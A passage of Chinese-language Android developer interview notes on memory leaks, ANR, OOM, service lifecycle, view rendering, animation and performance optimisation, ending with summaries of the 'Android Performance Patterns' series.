java虚拟机内，还存在于java虚拟机外。如果我们仅仅是把它的引用设置为null，而不关闭它们，往往会造成内存泄漏。因为有些资源性对象，比如 SQLiteCursor(在析构函数finalize()，如果我们没有关闭它，它自己会调close()关闭)，如果我们没有关闭它，系统在回收它时也会关闭它，但是这样的效率太低了。因此对于资源性对象在不使用的时候，应该调用它的close()函数，将其关闭掉，然后才置为null.在我们的程序退出时一定要确保我们的资源性对象已经关闭。\n\n程序中经常会进行查询数据库的操作，但是经常会有使用完毕Cursor后没有关闭的情况。如果我们的查询结果集比较小，对内存的消耗不容易被发现，只有在常时间大量操作的情况下才会复现内存问题，这样就会给以后的测试和问题排查带来困难和风险。\n\n2.构造Adapter时，没有使用缓存的convertView\n\n描述：以构造ListView的BaseAdapter为例，在BaseAdapter中提供了方法：\n`public View getView(int position, ViewconvertView, ViewGroup parent)`\n来向ListView提供每一个item所需要的view对象。初始时ListView会从BaseAdapter中根据当前的屏幕布局实例化一定数量的 view对象，同时ListView会将这些view对象缓存起来。当向上滚动ListView时，原先位于最上面的list item的view对象会被回收，然后被用来构造新出现的最下面的list item。这个构造过程就是由getView()方法完成的，getView()的第二个形参View convertView就是被缓存起来的list item的view对象(初始化时缓存中没有view对象则convertView是null)。由此可以看出，如果我们不去使用 convertView，而是每次都在getView()中重新实例化一个View对象的话，即浪费资源也浪费时间，也会使得内存占用越来越大。 ListView回收list item的view对象的过程可以查看:\nandroid.widget.AbsListView.java → voidaddScrapView(View scrap) 方法。\n示例代码：\n\n```java\npublic View getView(int position, ViewconvertView, ViewGroup parent) {\nView view = new Xxx(...); \n...\nreturn view; \n} \n```\n\n修正示例代码：\n\n```java\npublic View getView(int position, ViewconvertView, ViewGroup parent) {\nView view = null; \nif (convertView != null) { \nview = convertView; \npopulate(view, getItem(position)); \n... \n} else { \nview = new Xxx(...); \n... \n} \nreturn view; \n} \n```\n\n3.Bitmap对象不在使用时调用recycle()释放内存\n\n描述：有时我们会手工的操作Bitmap对象，如果一个Bitmap对象比较占内存，当它不在被使用的时候，可以调用Bitmap.recycle()方法回收此对象的像素所占用的内存，但这不是必须的，视情况而定。可以看一下代码中的注释：\n\n```\n/** \n * Free up the memory associated with thisbitmap's pixels, and mark the \n * bitmap as \"dead\", meaning itwill throw an exception if getPixels() or \n * setPixels() is called, and will drawnothing. This operation cannot be \n * reversed, so it should only be called ifyou are sure there are no \n * further uses for the bitmap. This is anadvanced call, and normally need \n * not be called, since the normal GCprocess will free up this memory when \n * there are no more references to thisbitmap. \n */ \n```\n\n4.试着使用关于application的context来替代和activity相关的context\n\n这是一个很隐晦的内存泄漏的情况。有一种简单的方法来避免context相关的内存泄漏。最显著地一个是避免context逃出他自己的范围之外。使用Application context。这个context的生存周期和你的应用的生存周期一样长，而不是取决于activity的生存周期。如果你想保持一个长期生存的对象，并且这个对象需要一个context,记得使用application对象。你可以通过调用 Context.getApplicationContext() or Activity.getApplication()来获得。更多的请看这篇文章如何避免Android内存泄漏。\n\n5.注册没取消造成的内存泄漏\n\n一些Android程序可能引用我们的Anroid程序的对象(比如注册机制)。即使我们的Android程序已经结束了，但是别的引用程序仍然还有对我们的Android程序的某个对象的引用，泄漏的内存依然不能被垃圾回收。调用registerReceiver后未调用unregisterReceiver。\n\n比如:假设我们希望在锁屏界面(LockScreen)中，监听系统中的电话服务以获取一些信息(如信号强度等)，则可以在LockScreen中定义一个 PhoneStateListener的对象，同时将它注册到TelephonyManager服务中。对于LockScreen对象，当需要显示锁屏界面的时候就会创建一个LockScreen对象，而当锁屏界面消失的时候LockScreen对象就会被释放掉。\n但是如果在释放 LockScreen对象的时候忘记取消我们之前注册的PhoneStateListener对象，则会导致LockScreen无法被垃圾回收。如果不断的使锁屏界面显示和消失，则最终会由于大量的LockScreen对象没有办法被回收而引起OutOfMemory，使得system_process 进程挂掉。\n\n虽然有些系统程序，它本身好像是可以自动取消注册的(当然不及时)，但是我们还是应该在我们的程序中明确的取消注册，程序结束时应该把所有的注册都取消掉。\n\n6.集合中对象没清理造成的内存泄漏\n\n我们通常把一些对象的引用加入到了集合中，当我们不需要该对象时，并没有把它的引用从集合中清理掉，这样这个集合就会越来越大。如果这个集合是static的话，那情况就更严重了。\n\n#### ANR定位和修正\n\n如果开发机器上出现问题，我们可以通过查看/data/anr/traces.txt即可，最新的ANR信息在最开始部分。\n\n* 主线程被IO操作（从4.0之后网络IO不允许在主线程中）阻塞。\n* 主线程中存在耗时的计算\n* 主线程中错误的操作，比如Thread.wait或者Thread.sleep等\n  Android系统会监控程序的响应状况，一旦出现下面两种情况，则弹出ANR对话框\n* 应用在5秒内未响应用户的输入事件（如按键或者触摸）\n* BroadcastReceiver未在10秒内完成相关的处理\n* Service在特定的时间内无法处理完成 20秒\n* 使用AsyncTask处理耗时IO操作。\n* 使用Thread或者HandlerThread时，调用`Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND)`设置优先级，否则仍然会降低程序响应，因为默认Thread的优先级和主线程相同。\n* 使用Handler处理工作线程结果，而不是使用Thread.wait()或者Thread.sleep()来阻塞主线程。\n* Activity的onCreate和onResume回调中尽量避免耗时的代码\n* BroadcastReceiver中onReceive代码也要尽量减少耗时，建议使用IntentService处理\n\n#### 什么情况导致oom-乐视-美团\n\n[Android内存优化之OOM](http://www.jcodecraeer.com/a/anzhuokaifa/androidkaifa/2015/0920/3478.html)\n\n- 使用更加轻量的数据结构\n- Android里面使用Enum\n- Bitmap对象的内存占用\n- 更大的图片\n- onDraw方法里面执行对象的创建\n- StringBuilder\n\n#### Service与Activity之间通信的几种方式\n\n- 通过Binder对象\n- 通过broadcast(广播)的形式\n\n#### Android各个版本API的区别\n\nhttp://blog.csdn.net/lijun952048910/article/details/7980562\n\n#### Android代码中实现WAP方式联网-360\n\nhttp://blog.csdn.net/asce1885/article/details/7844159\n\n#### 如何保证service在后台不被Kill\n\n一、onStartCommand方法，返回START_STICKY\n\n1.START_STICKY\n\n在运行onStartCommand后service进程被kill后，那将保留在开始状态，但是不保留那些传入的intent。不久后service就会再次尝试重新创建，因为保留在开始状态，在创建     service后将保证调用onstartCommand。如果没有传递任何开始命令给service，那将获取到null的intent。\n\n2.START_NOT_STICKY\n\n在运行onStartCommand后service进程被kill后，并且没有新的intent传递给它。Service将移出开始状态，并且直到新的明显的方法（startService）调用才重新创建。因为如果没有传递任何未决定的intent那么service是不会启动，也就是期间onstartCommand不会接收到任何null的intent。\n\n3.START_REDELIVER_INTENT\n\n在运行onStartCommand后service进程被kill后，系统将会再次启动service，并传入最后一个intent给onstartCommand。直到调用stopSelf(int)才停止传递intent。如果在被kill后还有未处理好的intent，那被kill后服务还是会自动启动。因此onstartCommand不会接收到任何null的intent。\n\n二、提升service优先级\n\n在AndroidManifest.xml文件中对于intent-filter可以通过`android:priority = \"1000\"`这个属性设置最高优先级，1000是最高值，如果数字越小则优先级越低，同时适用于广播。\n\n三、提升service进程优先级\n\nAndroid中的进程是托管的，当系统进程空间紧张的时候，会依照优先级自动进行进程的回收。Android将进程分为6个等级，它们按优先级顺序由高到低依次是:\n\n1. 前台进程( FOREGROUND_APP)\n2. 可视进程(VISIBLE_APP )\n3. 次要服务进程(SECONDARY_SERVER )\n4. 后台进程 (HIDDEN_APP)\n5. 内容供应节点(CONTENT_PROVIDER)\n6. 空进程(EMPTY_APP)\n\n当service运行在低内存的环境时，将会kill掉一些存在的进程。因此进程的优先级将会很重要，可以使用startForeground 将service放到前台状态。这样在低内存时被kill的几率会低一些。\n\n四、onDestroy方法里重启service\n\nservice +broadcast  方式，就是当service走ondestory的时候，发送一个自定义的广播，当收到广播的时候，重新启动service；\n\n五、Application加上Persistent属性\n\n六、监听系统广播判断Service状态\n\n通过系统的一些广播，比如：手机重启、界面唤醒、应用状态改变等等监听并捕获到，然后判断我们的Service是否还存活，别忘记加权限啊。\n\n#### Requestlayout，onlayout，onDraw，DrawChild区别与联系-猎豹\n\nrequestLayout()方法 ：会导致调用measure()过程 和 layout()过程 。\n将会根据标志位判断是否需要ondraw\n\nonLayout()方法(如果该View是ViewGroup对象，需要实现该方法，对每个子视图进行布局)\n\n调用onDraw()方法绘制视图本身   (每个View都需要重载该方法，ViewGroup不需要实现该方法)\n\ndrawChild()去重新回调每个子视图的draw()方法\n\n#### invalidate()和postInvalidate()的区别及使用-百度\n\nhttp://blog.csdn.net/mars2639/article/details/6650876\n\n#### Android动画框架实现原理\n\nAnimation框架定义了透明度，旋转，缩放和位移几种常见的动画，而且控制的是整个View，实现原理是每次绘制视图时View所在的ViewGroup中的drawChild函数获取该View的Animation的Transformation值，然后调用`canvas.concat(transformToApply.getMatrix())，`通过矩阵运算完成动画帧，如果动画没有完成，继续调用invalidate()函数，启动下次绘制来驱动动画，动画过程中的帧之间间隙时间是绘制函数所消耗的时间，可能会导致动画消耗比较多的CPU资源，最重要的是，动画改变的只是显示，并不能相应事件。\n\n#### Android为每个应用程序分配的内存大小是多少-美团\n\nandroid程序内存一般限制在16M，也有的是24M\n\n#### View刷新机制-百度-美团\n\n由ViewRoot对象的performTraversals()方法调用draw()方法发起绘制该View树，值得注意的是每次发起绘图时，并不会重新绘制每个View树的视图，而只会重新绘制那些“需要重绘”的视图，View类内部变量包含了一个标志位DRAWN，当该视图需要重绘时，就会为该View添加该标志位。\n\n调用流程 ：\n\nmView.draw()开始绘制，draw()方法实现的功能如下：\n\n1. 绘制该View的背景\n2. 为显示渐变框做一些准备操作(见5，大多数情况下，不需要改渐变框)          \n3. 调用onDraw()方法绘制视图本身   (每个View都需要重载该方法，ViewGroup不需要实现该方法)\n4. 调用dispatchDraw ()方法绘制子视图(如果该View类型不为ViewGroup，即不包含子视图，不需要重载该方法)值得说明的是，ViewGroup类已经为我们重写了dispatchDraw ()的功能实现，应用程序一般不需要重写该方法，但可以重载父类函数实现具体的功能。\n\n#### LinearLayout和RelativeLayout性能对比-百度\n\n1. RelativeLayout会让子View调用2次onMeasure，LinearLayout 在有weight时，也会调用子View2次onMeasure\n2. RelativeLayout的子View如果高度和RelativeLayout不同，则会引发效率问题，当子View很复杂时，这个问题会更加严重。如果可以，尽量使用padding代替margin。\n3. 在不影响层级深度的情况下，使用LinearLayout和FrameLayout而不是RelativeLayout。\n\n最后再思考一下文章开头那个矛盾的问题，为什么Google给开发者默认新建了个RelativeLayout，而自己却在DecorView中用了个LinearLayout。因为DecorView的层级深度是已知而且固定的，上面一个标题栏，下面一个内容栏。采用RelativeLayout并不会降低层级深度，所以此时在根节点上用LinearLayout是效率最高的。而之所以给开发者默认新建了个RelativeLayout是希望开发者能采用尽量少的View层级来表达布局以实现性能最优，因为复杂的View嵌套对性能的影响会更大一些。\n\n#### 优化自定义view百度-乐视-小米\n\n为了加速你的view，对于频繁调用的方法，需要尽量减少不必要的代码。先从onDraw开始，需要特别注意不应该在这里做内存分配的事情，因为它会导致GC，从而导致卡顿。在初始化或者动画间隙期间做分配内存的动作。不要在动画正在执行的时候做内存分配的事情。\n\n你还需要尽可能的减少onDraw被调用的次数，大多数时候导致onDraw都是因为调用了invalidate().因此请尽量减少调用invaildate()的次数。如果可能的话，尽量调用含有4个参数的invalidate()方法而不是没有参数的invalidate()。没有参数的invalidate会强制重绘整个view。\n\n另外一个非常耗时的操作是请求layout。任何时候执行requestLayout()，会使得Android UI系统去遍历整个View的层级来计算出每一个view的大小。如果找到有冲突的值，它会需要重新计算好几次。另外需要尽量保持View的层级是扁平化的，这样对提高效率很有帮助。\n\n如果你有一个复杂的UI，你应该考虑写一个自定义的ViewGroup来执行他的layout操作。与内置的view不同，自定义的view可以使得程序仅仅测量这一部分，这避免了遍历整个view的层级结构来计算大小。这个PieChart 例子展示了如何继承ViewGroup作为自定义view的一部分。PieChart 有子views，但是它从来不测量它们。而是根据他自身的layout法则，直接设置它们的大小。\n\n#### ContentProvider-乐视\n\nhttp://blog.csdn.net/coder_pig/article/details/47858489\n\n#### Fragment生命周期\n\n![](img/fragment_lifecycle.png) ![](img/activity_fragment_lifecycle.png)\n\n#### volley解析-美团-乐视\n\nhttp://a.codekk.com/detail/Android/grumoon/Volley%20%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90\n\n#### Glide源码解析\n\nhttp://www.lightskystreet.com/2015/10/12/glide_source_analysis/\nhttp://frodoking.github.io/2015/10/10/android-glide/\n\n#### Android设计模式\n\nhttp://blog.csdn.net/bboyfeiyu/article/details/44563871\n\n#### 架构设计-搜狐\n\n![](img/architucture.png)\n\nhttp://www.tianmaying.com/tutorial/AndroidMVC\n\n#### Android属性动画特性-乐视-小米\n\n如果你的需求中只需要对View进行移动、缩放、旋转和淡入淡出操作，那么补间动画确实已经足够健全了。但是很显然，这些功能是不足以覆盖所有的场景的，一旦我们的需求超出了移动、缩放、旋转和淡入淡出这四种对View的操作，那么补间动画就不能再帮我们忙了，也就是说它在功能和可扩展方面都有相当大的局限性，那么下面我们就来看看补间动画所不能胜任的场景。\n\n注意上面我在介绍补间动画的时候都有使用“对View进行操作”这样的描述，没错，补间动画是只能够作用在View上的。也就是说，我们可以对一个Button、TextView、甚至是LinearLayout、或者其它任何继承自View的组件进行动画操作，但是如果我们想要对一个非View的对象进行动画操作，抱歉，补间动画就帮不上忙了。可能有的朋友会感到不能理解，我怎么会需要对一个非View的对象进行动画操作呢？这里我举一个简单的例子，比如说我们有一个自定义的View，在这个View当中有一个Point对象用于管理坐标，然后在onDraw()方法当中就是根据这个Point对象的坐标值来进行绘制的。也就是说，如果我们可以对Point对象进行动画操作，那么整个自定义View的动画效果就有了。显然，补间动画是不具备这个功能的，这是它的第一个缺陷。\n\n然后补间动画还有一个缺陷，就是它只能够实现移动、缩放、旋转和淡入淡出这四种动画操作，那如果我们希望可以对View的背景色进行动态地改变呢？很遗憾，我们只能靠自己去实现了。说白了，之前的补间动画机制就是使用硬编码的方式来完成的，功能限定死就是这些，基本上没有任何扩展性可言。\n\n最后，补间动画还有一个致命的缺陷，就是它只是改变了View的显示效果而已，而不会真正去改变View的属性。什么意思呢？比如说，现在屏幕的左上角有一个按钮，然后我们通过补间动画将它移动到了屏幕的右下角，现在你可以去尝试点击一下这个按钮，点击事件是绝对不会触发的，因为实际上这个按钮还是停留在屏幕的左上角，只不过补间动画将这个按钮绘制到了屏幕的右下角而已。\n\n### 专题\n\n### 性能优化\n\n#### [Android性能优化典范 - 第1季](http://hukai.me/android-performance-patterns/)\n\n1. **Render Performance** Android系统每隔16ms发出VSYNC信号，触发对UI进行渲染，如果每次渲染都成功，这样就能够达到流畅的画面所需要的60fps，为了能够实现60fps，这意味着程序的大多数操作都必须在16ms内完成。我们可以通过一些工具来定位问题，比如可以使用HierarchyViewer来查找Activity中的布局是否过于复杂，也可以使用手机设置里面的开发者选项，打开Show GPU Overdraw等选项进行观察。你还可以使用TraceView来观察CPU的执行情况，更加快捷的找到性能瓶颈。\n\n2. **Understanding Overdraw** Overdraw(过度绘制)描述的是屏幕上的某个像素在同一帧的时间内被绘制了多次。在多层次的UI结构里面，如果不可见的UI也在做绘制的操作，这就会导致某些像素区域被绘制了多次。这就浪费大量的CPU以及GPU资源。Overdraw有时候是因为你的UI布局存在大量重叠的部分，还有的时候是因为非必须的重叠背景。例如某个Activity有一个背景，然后里面的Layout又有自己的背景，同时子View又分别有自己的背景。仅仅是通过移除非必须的背景图片，这就能够减少大量的红色Overdraw区域，增加蓝色区域的占比。这一措施能够显著提升程序性能。\n\n3. **Understanding VSYNC** Refresh Rate：代表了屏幕在一秒内刷新屏幕的次数，这取决于硬件的固定参数，例如60Hz。Frame Rate：代表了GPU在一秒内绘制操作的帧数，例如30fps，60fps。通常来说，帧率超过刷新频率只是一种理想的状况，在超过60fps的情况下，GPU所产生的帧数据会因为等待VSYNC的刷新信息而被Hold住，这样能够保持每次刷新都有实际的新的数据可以显示。但是我们遇到更多的情况是帧率小于刷新频率。\n\n4. **Tool:Profile GPU Rendering** 性能问题如此的麻烦，幸好我们可以有工具来进行调试。打开手机里面的开发者选项，选择Profile GPU Rendering，选中On screen as bars的选项。\n\n5. **Why 60fps?** 我们通常都会提到60fps与16ms，可是知道为何会是以程序是否达到60fps来作为App性能的衡量标准吗？这是因为人眼与大脑之间的协作无法感知超过60fps的画面更新。开发app的性能目标就是保持60fps，这意味着每一帧你只有16ms=1000/60的时间来处理所有的任务。\n\n6. **Android， UI and the GPU** 在Android里面那些由主题所提供的资源，例如Bitmaps，Drawables都是一起打包到统一的Texture纹理当中，然后再传递到GPU里面，这意味着每次你需要使用这些资源的时候，都是直接从纹理里面进行获取渲染的。当然随着UI组件的越来越丰富，有了更多演变的形态。例如显示图片的时候，需要先经过CPU的计算加载到内存中，然后传递给GPU进行渲染。文字的显示更加复杂，需要先经过CPU换算成纹理，然后再交给GPU进行渲染，回到CPU绘制单个字符的时候，再重新引用经过GPU渲染的内容。动画则是一个更加复杂的操作流程。为了能够使得App流畅，我们需要在每一帧16ms以内处理完所有的CPU与GPU计算，绘制，渲染等等操作。\n\n7. **Invalidations， Layouts， and Performance** 任何时候View中的绘制内容发生变化时，都会重新执行创建DisplayList，渲染DisplayList，更新到屏幕上等一系列操作。这个流程的表现性能取决于你的View的复杂程度，View的状态变化以及渲染管道的执行性能。举个例子，假设某个Button的大小需要增大到目前的两倍，在增大Button大小之前，需要通过父View重新计算并摆放其他子View的位置。修改View的大小会触发整个HierarcyView的重新计算大小的操作。如果是修改View的位置则会触发HierarchView重新计算其他View的位置。如果布局很复杂，这就会很容易导致严重的性能问题。我们需要尽量减少Overdraw。\n\n8. **Overdraw， Cliprect， QuickReject** 我们可以通过canvas.clipRect()来帮助系统识别那些可见的区域。这个方法可以指定一块矩形区域，只有在这个区域内才会被绘制，其他的区域会被忽视。这个API可以很好的帮助那些有多组重叠组件的自定义View来控制显示的区域。同时clipRect方法还可以帮助节约CPU与GPU资源，在clipRect区域之外的绘制指令都不会被执行，那些部分内容在矩形区域内的组件，仍然会得到绘制。\n\n9. **Memory Churn and performance** 执行GC操作的时候，所有线程的任何操作都会需要暂停，等待GC操作完成之后，其他操作才能够继续运行。Memory Churn内存抖动，内存抖动是因为大量的对象被创建又在短时间内马上被释放。瞬间产生大量的对象会严重占用Young Generation的内存区域，当达到阀值，剩余空间不够的时候，也会触发GC。即使每次分配的对象占用了很少的内存，但是他们叠加在一起会增加Heap的压力，从而触发更多其他类型的GC。这个操作有可能会影响到帧率，并使得用户感知到性能问题。\n\n10. **Garbage Collection in Android** 原始JVM中的GC机制在Android中得到了很大程度上的优化。Android里面是一个三级Generation的内存模型，最近分配的对象会存放在Young Generation区域，当这个对象在这个区域停留的时间达到一定程度，它会被移动到Old Generation，最后到Permanent Generation区域。如果不小心在最小的for循环单元里面执行了创建对象的操作，这将很容易引起GC并导致性能问题。通过Memory Monitor我们可以查看到内存的占用情况，每一次瞬间的内存降低都是因为此时发生了GC操作，如果在短时间内发生大量的内存上涨与降低的事件，这说明很有可能这里有性能问题。我们还可以通过Heap and Allocation Tracker工具来查看此时内存中分配的到底有哪些对象。\n\n11. **Performance Cost of Memory Leaks** 内存泄漏指的是那些程序不再使用的对象无法被GC识别，这样就导致这个对象一直留在内存当中，占用了宝贵的内存空间。显然，这还使得每级Generation的内存区域可用空间变小，GC就会更容易被触发，从而引起性能问题。\n\n12. **Memory Performance** 通常来说，Android对GC做了大量的优化操作，虽然执行GC操作的时候会暂停其他任务，可是大多数情况下，GC操作还是相对很安静并且高效的。但是如果我们对内存的使用不恰当，导致GC频繁执行，这样就会引起不小的性能问题。\n\n13. **Tool - Memory Monitor** Android Studio中的Memory Monitor可以很好的帮助我们查看程序的内存使用情况。\n\n14. **Battery Performance** 我们应该尽量减少唤醒屏幕的次数与持续的时间，使用WakeLock来处理唤醒的问题，能够正确执行唤醒操作并根据设定及时关闭操作进入睡眠状态。某些非必须马上执行的操作，例如上传歌曲，图片处理等，可以等到设备处于充电状态或者电量充足的时候才进行。触发网络请求的操作，每次都会保持无线信号持续一段时间，我们可以把零散的网络请求打包进行一次操作，避免过多的无线信号引起的电量消耗。关于网络请求引起无线信号的电量消耗\n\n15. **Understanding Battery Drain on Android** 使用WakeLock或者JobScheduler唤醒设备处理定时的任务之后，一定要及时让设备回到初始状态。每次唤醒无线信号进行数据传递，都会消耗很多电量，它比WiFi等操作更加的耗电\n\n16. **Battery Drain and WakeLocks** 这正是JobScheduler API所做的事情。它会根据当前的情况与任务，组合出理想的唤醒时间，例如等到正在充电或者连接到WiFi的时候，或者集中任务一起执行。我们可以通过这个API实现很多免费的调度算法。\n\n#### [Android性能优化典范 - 第2季](http://hukai.me/android-performance-patterns-season-2/)\n\n1. **Battery Drain and Networking** 我们可以有针对性的把请求行为捆绑起来，延迟到某个时刻统一发起请求。这部分主要会涉及到Prefetch(预取)与Compressed(压缩)这两个技术。对于Prefetch的使用，我们需要预先判断用户在此次操作之后，后续零散的请求是否很有可能会马上被触发，可以把后面5分钟有可能会使用到的零散请求都一次集中执行完毕。对于Compressed的使用，在上传与下载数据之前，使用CPU对数据进行压缩与解压，可以很大程度上减少网络传输的时间。\n\n2. **Wear & Sensors** 首先我们需要尽量使用Android平台提供的既有运动数据，而不是自己去实现监听采集数据，因为大多数Android Watch自身记录Sensor数据的行为是有经过做电量优化的。其次在Activity不需要监听某些Sensor数据的时候需要尽快释放监听注册。还有我们需要尽量控制更新的频率，仅仅在需要刷新显示数据的时候才触发获取最新数据的操作。另外我们可以针对Sensor的数据做批量处理，待数据累积一定次数或者某个程度的时候才更新到UI上。最后当Watch与Phone连接起来的时候，可以把某些复杂操作的事情交给Phone来执行，Watch只需要等待返回的结果。\n\n3. **Smooth Android Wear Animation** 在Android里面一个相对操作比较繁重的事情是对Bitmap进行旋转，缩放，裁剪等等。例如在一个圆形的钟表图上，我们把时钟的指针抠出来当做单独的图片进行旋转会比旋转一张完整的圆形图的所形成的帧率要高56%。\n\n4. **Android Wear Data Batching** 仅仅在真正需要刷新界面的时候才发出请求，尽量把计算复杂操作的任务交给Phone来处理，Phone仅仅在数据发生变化的时候才通知到Wear，把零碎的数据请求捆绑一起再进行操作。\n\n5. **Object Pools** 使用对象池技术有很多好处，它可以避免内存抖动，提升性能，但是在使用的时候有一些内容是需要特别注意的。通常情况下，初始化的对象池里面都是空白的，当使用某个对象的时候先去对象池查询是否存在，如果不存在则创建这个对象然后加入对象池，但是我们也可以在程序刚启动的时候就事先为对象池填充一些即将要使用到的数据，这样可以在需要使用到这些对象的时候提供更快的首次加载速度，这种行为就叫做预分配。使用对象池也有不好的一面，程序员需要手动管理这些对象的分配与释放，所以我们需要慎重地使用这项技术，避免发生对象的内存泄漏。为了确保所有的对象能够正确被释放，我们需要保证加入对象池的对象和其他外部对象没有互相引用的关系。\n\n6. **To Index or Iterate?** for index的方式有更好的效率，但是因为不同平台编译器优化各有差异，我们最好还是针对实际的方法做一下简单的测量比较好，拿到数据之后，再选择效率最高的那个方式。\n\n7. **The Magic of LRU Cache** 使用LRU Cache能够显著提升应用的性能，可是也需要注意LRU Cache中被淘汰对象的回收，否者会引起严重的内存泄露。\n\n8. **Using LINT for Performance Tips** Lint已经集成到Android Studio中了，我们可以手动去触发这个工具，点击工具栏的Analysis → Inspect Code，触发之后，Lint会开始工作，并把结果输出到底部的工具栏，我们可以逐个查看原因并根据指示做相应的优化修改。\n\n9. **Hidden Cost of Transparency** 通常来说，对于不透明的View，显示它只需要渲染一次即可，可是如果这个View设置了alpha值，会至少需要渲染两次。\n\n10. **Avoiding Allocations in onDraw()** 首先onDraw()方法是执行在UI线程的，在UI线程尽量避免做任何可能影响到性能的操作。虽然分配内存的操作并不需要花费太多系统资源，但是这并不意味着是免费无代价的。设备有一定的刷新频率，导致View的onDraw方法会被频繁的调用，如果onDraw方法效率低下，在频繁刷新累积的效应下，效率低的问题会被扩大，然后会对性能有严重的影响。\n\n11. **Tool: Strict Mode** Android提供了一个叫做Strict Mode的工具，我们可以通过手机设置里面的开发者选项，打开Strict Mode选项，如果程序存在潜在的隐患，屏幕就会闪现红色。我们也可以通过StrictMode API在代码层面做细化的跟踪，可以设置StrictMode监听那些潜在问题，出现问题时如何提醒开发者，可以对屏幕闪红色，也可以输出错误日志。\n\n12. **Custom Views and Performance** Useless calls to onDraw()：我们知道调用View.invalidate()会触发View的重绘，有两个原则需要遵守，第1个是仅仅在View的内容发生改变的时候才去触发invalidate方法，第2个是尽量使用ClipRect等方法来提高绘制的性能。Useless pixels：减少绘制时不必要的绘制元素，对于那些不可见的元素，我们需要尽量避免重绘。Wasted CPU cycles：对于不在屏幕上的元素，可以使用Canvas.quickReject把他们给剔除，避免浪费CPU资源。另外尽量使用GPU来进行UI的渲染，这样能够极大的提高程序的整体表现性能。\n\n13. **Batching Background Work Until Later**\n1.AlarmManager 使用AlarmManager设置定时任务，可以选择精确的间隔时间，也可以选择非精确时间作为参数。除非程序有很强烈的需要使用精确的定时唤醒，否者一定要避免使用他，我们应该尽量使用非精确的方式。2.SyncAdapter 我们可以使用SyncAdapter为应用添加设置账户，这样在手机设置的账户列表里面可以找到我们的应用。这种方式功能更多，但是实现起来比较复杂。我们可以从这里看到官方的培训课程：http://developer.android.com/training/sync-adapters/index.html 3.JobSchedulor 这是最简单高效的方法，我们可以设置任务延迟的间隔，执行条件，还可以增加重试机制。\n\n14. **Smaller Pixel Formats** Android的Heap空间是不会自动做兼容压缩的，意思就是如果Heap空间中的图片被收回之后，这块区域并不会和其他已经回收过的区域做重新排序合并处理，那么当一个更大的图片需要放到heap之前，很可能找不到那么大的连续空闲区域，那么就会触发GC，使得heap腾出一块足以放下这张图片的空闲区域，如果无法腾出，就会发生OOM。\n\n15. **Smaller PNG Files** 尽量减少PNG图片的大小是Android里面很重要的一条规范。相比起JPEG，PNG能够提供更加清晰无损的图片，但是PNG格式的图片会更大，占用更多的磁盘空间。到底是使用PNG还是JPEG，需要设计师仔细衡量，对于那些使用JPEG就可以达到视觉效果的，可以考虑采用JPEG即可。\n\n16. **Pre-scaling Bitmaps** 对bitmap做缩放，这也是Android里面最遇到的问题。对bitmap做缩放的意义很明显，提示显示性能，避免分配不必要的内存。Android提供了现成的bitmap缩放的API，叫做createScaledBitmap()\n\n17. **Re-using Bitmaps** 使用inBitmap属性可以告知Bitmap解码器去尝试使用已经存在的内存区域，新解码的bitmap会尝试去使用之前那张bitmap在heap中所占据的pixel data内存区域，而不是去问内存重新申请一块区域来存放bitmap。利用这种特性，即使是上千张的图片，也只会仅仅只需要占用屏幕所能够显示的图片数量的内存大小。\n\n18. **The Performance Lifecycle** Gather：收集数据，Insight：分析数据，Action：解决问题\n\n#### [Android性能优化典范 - 第3季](http://hukai.me/android-performance-patterns-season-3/)\n\n1. **Fun with ArrayMaps** 为了解决HashMap更占内存的弊端，Android提供了内存效率更高的ArrayMap。它内部使用两个数组进行工作，其中一个数组记录key hash过后的顺序列表，另外一个数组按key的顺序记录Key-Value值\n\n2. **Beware Autoboxing** 有时候性能问题也可能是因为那些不起眼的小细节引起的，例如在代码中不经意的“自动装箱”。我们知道基础数据类型的大小：boolean(8 bits)， int(32 bits)， float(32 bits)，long(64 bits)，为了能够让这些基础数据类型在大多数Java容器中运作，会需要做一个autoboxing的操作，转换成Boolean，Integer，Float等对象\n\n3. **SparseArray Family Ties** 为了避免HashMap的autoboxing行为，Android系统提供了SparseBoolMap，SparseIntMap，SparseLongMap，LongSparseMap等容器。\n\n4. **The price of ENUMs** Android官方强烈建议不要在Android程序里面使用到enum。\n\n5. **Trimming and Sharing Memory** Android系统提供了一些回调来通知应用的内存使用情况，通常来说，当所有的background应用都被kill掉的时候，forground应用会收到onLowMemory()的回调。在这种情况下，需要尽快释放当前应用的非必须内存资源，从而确保系统能够稳定继续运行。Android系统还提供了onTrimMemory()的回调，当系统内存达到某些条件的时候，所有正在运行的应用都会收到这个回调\n\n6. **DO NOT LEAK VIEWS** 避免使用异步回调，避免使用Static对象，避免把View添加到没有清除机制的容器里面\n\n7. **Location & Battery Drain** 其中存在的一个优化点是，我们可以通过判断返回的位置信息是否相同，从而决定设置下次的更新间隔是否增加一倍，通过这种方式可以减少电量的消耗\n\n8. **Double Layout Taxation** 布局中的任何一个View一旦发生一些属性变化，都可能引起很大的连锁反应。例如某个button的大小突然增加一倍，有可能会导致兄弟视图的位置变化，也有可能导致父视图的大小发生改变。当大量的layout()操作被频繁调用执行的时候，就很可能引起丢帧的现象。\n\n9. **Network Performance 101** 减少移动网络被激活的时间与次数，压缩传输数据\n\n10. **Effective Network Batching** 发起网络请求与接收返回数据都是比较耗电的，在网络硬件模块被激活之后，会继续保持几十秒的电量消耗，直到没有新的网络操作行为之后，才会进入休眠状态。前面一个段落介绍了使用Batching的技术来捆绑网络请求，从而达到减少网络请求的频率。那么如何实现Batching技术呢？通常来说，我们可以会把那些发出的网络请求，先暂存到一个PendingQueue里面，等到条件合适的时候再触发Queue里面的网络请求。\n\n11. **Optimizing Network Request Frequencies** 前面的段落已经提到了应该减少网络请求的频率，这是为了减少电量的消耗。我们可以使用Batching，Prefetching的技术来避免频繁的网络请求。Google提供了GCMNetworkManager来帮助开发者实现那些功能，通过提供的API，我们可以选择在接入WiFi，开始充电，等待移动网络被激活等条件下再次激活网络请求。\n\n12. **Effective Prefetching** 类似上面的情况会频繁触发网络请求，但是如果我们能够预先请求后续可能会使用到网络资源，避免频繁的触发网络请求，这样就能够显著的减少电量的消耗。可是预先获取多少数据量是很值得考量的，因为如果预取数据量偏少，就起不到减少频繁请求的作用，可是如果预取数据过多，就会造成资源的浪费。\n\n#### [Android性能优化典范 - 第4季](http://hukai.me/android-performance-patterns-season-4/)\n\n1. **Cachematters for networking** 